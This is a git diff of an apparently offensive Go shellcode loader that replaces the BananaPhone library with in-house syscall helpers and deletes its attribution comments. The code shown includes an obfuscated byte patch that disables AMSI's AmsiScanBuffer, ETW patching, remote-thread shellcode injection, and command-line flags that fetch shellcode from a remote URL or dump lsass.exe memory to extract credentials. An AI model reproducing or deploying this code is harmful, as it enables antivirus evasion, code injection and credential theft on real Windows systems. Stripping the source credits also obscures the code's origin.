diff --git a/core/amsi.go b/core/amsi.go index 807df58..8ac6cf9 100644 --- a/core/amsi.go +++ b/core/amsi.go @@ -1,25 +1,15 @@ package core -/* - -References: -https://github.com/Ne0nd0g/merlin-agent/blob/master/os/windows/pkg/evasion/evasion.go -https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell - -*/ - import ( "fmt" "unsafe" "syscall" - - bananaphone "github.com/C-Sto/BananaPhone/pkg/BananaPhone" ) var amsi_patch = []byte{0xB2 + 6, 0x52 + 5, 0x00, 0x04 + 3, 0x7E + 2, 0xc2 + 1} func PatchAmsi() (error) { - err := WriteBanana("amsi.dll", "AmsiScanBuffer", &amsi_patch) + err := WriteBytes("amsi.dll", "AmsiScanBuffer", &amsi_patch) if err != nil { return err } @@ -27,24 +17,20 @@ func PatchAmsi() (error) { return nil } -func WriteBanana(module string, proc string, data *[]byte) error { +func WriteBytes(module string, proc string, data *[]byte) error { + target := syscall.NewLazyDLL(module).NewProc(proc) err := target.Find() if err != nil { return err } - banana, err := bananaphone.NewBananaPhone(bananaphone.AutoBananaPhoneMode) + ZwWriteVirtualMemory, err := GetSysId("ZwWriteVirtualMemory") if err != nil { return err } - - ZwWriteVirtualMemory, err := banana.GetSysID("ZwWriteVirtualMemory") - if err != nil { - return err - } - NtProtectVirtualMemory, err := banana.GetSysID("NtProtectVirtualMemory") + NtProtectVirtualMemory, err := GetSysId("NtProtectVirtualMemory") if err != nil { return err } @@ -53,7 +39,7 @@ func WriteBanana(module string, proc string, data *[]byte) error { numberOfBytesToProtect := uintptr(len(*data)) var oldProtect uint32 - ret, err := bananaphone.Syscall( + ret, err := Syscall( NtProtectVirtualMemory, uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&baseAddress)), @@ -65,7 +51,7 @@ func WriteBanana(module string, proc string, data *[]byte) error { return fmt.Errorf("there was an error making the NtProtectVirtualMemory syscall with a return of %d: %s", 0, err) } - ret, err = bananaphone.Syscall( + ret, err = Syscall( ZwWriteVirtualMemory, uintptr(0xffffffffffffffff), target.Addr(), @@ -77,7 +63,7 @@ func WriteBanana(module string, proc string, data *[]byte) error { return fmt.Errorf("there was an error making the ZwWriteVirtualMemory syscall with a return of %d: %s", 0, err) } - ret, err = bananaphone.Syscall( + ret, err = Syscall( NtProtectVirtualMemory, uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&baseAddress)), diff --git a/core/auxiliary.go b/core/auxiliary.go index 259641d..af22642 100644 --- a/core/auxiliary.go +++ b/core/auxiliary.go @@ -20,12 +20,6 @@ import ( "github.com/Binject/debug/pe" ) -/* - -This code has been taken and modified from BananaPhone project - -*/ - const ( ntdllpath = "C:\\Windows\\System32\\ntdll.dll" kernel32path = "C:\\Windows\\System32\\kernel32.dll" diff --git a/core/createremotethread.go b/core/createremotethread.go index 1ec339d..3f0ba87 100644 --- a/core/createremotethread.go +++ b/core/createremotethread.go @@ -6,8 +6,6 @@ import ( "errors" "syscall" - bap "github.com/C-Sto/BananaPhone/pkg/BananaPhone" - // Internal "golang.org/x/sys/windows" ) @@ -80,15 +78,10 @@ func CreateRemoteThreadHalos(shellcode []byte) (error) { kernel32DLL := windows.NewLazySystemDLL("kernel32.dll") VirtualProtectEx := kernel32DLL.NewProc("VirtualProtectEx") - bp, e := bap.NewBananaPhone(bap.AutoBananaPhoneMode) + mess, e := GetFuncPtr("NtCreateThreadEx") if e != nil { return e } - - mess, e := bp.GetFuncPtr("NtCreateThreadEx") - if e != nil { - return e - } oldProtect := windows.PAGE_EXECUTE_READ VirtualProtectEx.Call(uintptr(0xffffffffffffffff), uintptr(mess), uintptr(0x100), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect))) diff --git a/core/etw.go b/core/etw.go index e97e481..6404263 100644 --- a/core/etw.go +++ b/core/etw.go @@ -22,7 +22,6 @@ func PatchEtw() (error) { procEtwEventWriteFull.Addr(), procEtwEventWrite.Addr(), procEtwEventWriteEx.Addr(), - //procEtwEventWriteNoRegistration.Addr(), procEtwEventWriteString.Addr(), procEtwEventWriteTransfer.Addr(), } @@ -39,7 +38,6 @@ func PatchEtw() (error) { uintptr(len(data)), uintptr(unsafe.Pointer(&nLength)), ) - } return nil diff --git a/core/flags.go b/core/flags.go index 2ba0697..5b3ab9e 100644 --- a/core/flags.go +++ b/core/flags.go @@ -24,6 +24,7 @@ func ParseFlags() (string, string, string, string, bool, bool, int, bool, bool, var amsi bool var etw bool var lsass_flag string + //var pid int flag.StringVar(&sc_url, "url", "", "remote shellcode url (e.g. http://192.168.1.37/shellcode.bin)") flag.StringVar(&sc_file, "file", "", "path to file where shellcode is stored") @@ -38,6 +39,7 @@ func ParseFlags() (string, string, string, string, bool, bool, int, bool, bool, flag.BoolVar(&hex_flag, "hex", false, "decode hex encoded shellcode") flag.BoolVar(&test_flag, "test", false, "test shellcode injection capabilities by spawning a calc.exe") flag.StringVar(&lsass_flag, "lsass", "", "dump lsass.exe process memory into a file to extract credentials (run as admin)") + //flag.IntVar(&pid, "pid", 0, "PID to inject shellcode") flag.Parse() return sc_url, sc_file, dll_file, technique, hook_detect, halos, unhook, base64_flag, hex_flag, test_flag, amsi, etw, lsass_flag // Return all param values diff --git a/core/hashing.go b/core/hashing.go index 13596a4..cbe747c 100644 --- a/core/hashing.go +++ b/core/hashing.go @@ -12,8 +12,6 @@ import ( "bytes" "encoding/binary" - //"golang.org/x/sys/windows" - // Third-party "github.com/Binject/debug/pe" ) diff --git a/core/hooks.go b/core/hooks.go index ac9db60..85f492d 100644 --- a/core/hooks.go +++ b/core/hooks.go @@ -2,16 +2,12 @@ package core /* -This package provides a function to detect Windows API hooked functions (e.g. CreateRemoteThread) - References: https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions -https://github.com/C-Sto/BananaPhone */ import ( - //"fmt" "errors" "strings" @@ -48,9 +44,6 @@ func DetectHooks() ([]string, error) { if (len(exp.Name) > 3) { // Avoid errors by checking function name length if exp.Name[0:2] == "Nt" || exp.Name[0:2] == "Zw" { // Just use functions which start by "Nt" or "Zw" if errors.As(err, &hook_err) == true { // Check error - /*if bytes.HasPrefix(buff, []byte{0xE9}) == false { - fmt.Println(exp.Name) - }*/ hooked_functions = append(hooked_functions, exp.Name) } } diff --git a/core/lsass.go b/core/lsass.go index e610bed..2c661d9 100644 --- a/core/lsass.go +++ b/core/lsass.go @@ -72,9 +72,6 @@ func DumpLsass(output string) (error) { func elevateProcessToken() (error) { - //token elevation process sourced from - //https://stackoverflow.com/questions/39595252/shutting-down-windows-using-golang-code - type Luid struct { lowPart uint32 // DWORD highPart int32 // long diff --git a/go.mod b/go.mod index ae06c88..138d401 100644 --- a/go.mod +++ b/go.mod @@ -4,7 +4,6 @@ go 1.19 require ( github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee - github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761 github.com/D3Ext/maldev v0.1.3 github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 github.com/google/uuid v1.3.0 diff --git a/go.sum b/go.sum index 4fb5c59..f4906ca 100644 --- a/go.sum +++ b/go.sum @@ -1,8 +1,5 @@ -github.com/Binject/debug v0.0.0-20200830173345-f54480b6530f/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee h1:neBp9wDYVY4Uu1gGlrL+IL4JeZslz+hGEAjBXGAPWak= github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= -github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761 h1:0144WWUvo86bVDEkxb3vmM92DCEsrkSYSd5gV1YlGKE= -github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761/go.mod h1:QsEPWHZooj8uXL2YEdpQX+hDr00Plw7myenTiduBHRA= github.com/D3Ext/maldev v0.1.3 h1:cn4TGdHpdUmjpNhLJ2/lpgU1TkJrEBVJGWcdgm7RQSg= github.com/D3Ext/maldev v0.1.3/go.mod h1:+ZMVJlimO5ROIg34U/QkhmIQa0dU7rzxbhkFMH/DADQ= github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs= @@ -28,7 +25,6 @@ github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200828194041-157a740278f4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU=